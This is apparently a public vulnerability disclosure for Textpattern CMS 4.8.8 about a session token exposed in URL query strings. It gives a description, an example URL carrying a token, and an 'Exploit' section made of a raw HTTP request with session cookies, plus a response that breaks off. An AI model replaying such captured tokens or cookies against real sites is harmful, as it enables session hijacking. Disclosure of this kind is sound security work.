## Title: textpattern-4.8.8 Session token in URL Vulnerability ## Author: nu11secur1ty ## Date: 05.10.2023 ## Vendor: https://textpattern.com/ ## Software: https://github.com/textpattern/textpattern/releases/tag/4.8.8 ## Reference: https://portswigger.net/kb/issues/00500700_session-token-in-url, https://cwe.mitre.org/data/definitions/200.html ## Description: Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker. Issue detail: The URL in the request appears to contain a session token within the query string:http://pwnedhost7.com/textpattern-4.8.8/textpattern/index.php?logout=1&lang=en&_txp_token=64f17b3d874e3c5f9c728f03e1271c64 STATUS: Medium Vulnerability [+]Exploit: ```GET GET /textpattern-4.8.8/textpattern/index.php?event=diag HTTP/1.1 Host: pwnedhost7.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: txp_login=Admin%2C628717737574e8be05624bb2da74fb38; txp_login_public=d5f8d91942Admin Connection: close ``` [+]Response: ```HTTP HTTP/1.1 200 OK Date: Wed, 10 May 2023 07:51:37 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Content-Security-Policy: frame-ancestors 'self' X-Frame-Options: SAMEORIGIN Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10725 Diagnostics - My site | Textpattern CMS